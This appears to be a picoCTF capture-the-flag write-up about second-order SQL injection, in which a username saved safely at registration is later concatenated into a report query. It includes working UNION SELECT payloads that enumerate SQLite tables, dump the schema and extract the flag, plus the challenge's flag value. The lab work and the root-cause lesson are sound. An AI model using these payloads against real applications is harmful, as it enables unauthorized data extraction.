ORDER ORDER — Second-Order SQL Injection

Vulnerability Overview

Second-order SQL injection occurs when user input is safely stored during initial insertion (preventing immediate injection) but is later retrieved and unsafely concatenated into a different SQL query. The vulnerability lies not at the point of storage, but at the point of reuse — making it significantly harder to detect in code review.

Discovery

Registering with a single quote ' as the username and triggering report generation produced a database error:

Report generation failed. Cause: unrecognized token: "X' ORDER BY date'"

The error confirmed the username was being retrieved from the database and concatenated unsafely into the report query — a second-order injection point. The backend query was approximately:

SELECT description, amount, date FROM expenses
WHERE user_id = (SELECT id FROM users WHERE username = 'USERNAME')
ORDER BY date

Exploitation

Step 1 — Enumerate tables by registering with a UNION SELECT payload as the username:

a' UNION SELECT name,2,3 FROM sqlite_master WHERE type='table'-- -

Report output revealed a suspicious table: aDNyM19uMF9mMTRn. Decoding: echo "aDNyM19uMF9mMTRn" | base64 -d → h3r3_n0_f14g. A troll name — but the table was real.

Step 2 — Dump the schema to find the column structure:

a' UNION SELECT sql,2,3 FROM sqlite_master-- -
# CREATE TABLE aDNyM19uMF9mMTRn (name TEXT PRIMARY KEY, value TEXT NOT NULL)

Step 3 — Extract the flag:

a' UNION SELECT name||':'||value,2,3 FROM aDNyM19uMF9mMTRn-- -
# flag:picoCTF{s3c0nd_0rd3r_1t_1s_3ad6ac82}

Root Cause

The application used parameterized queries at the registration endpoint (preventing first-order injection) but concatenated the retrieved username string directly into the report generation query. Parameterized queries must be used at every database interaction, not only at initial input points.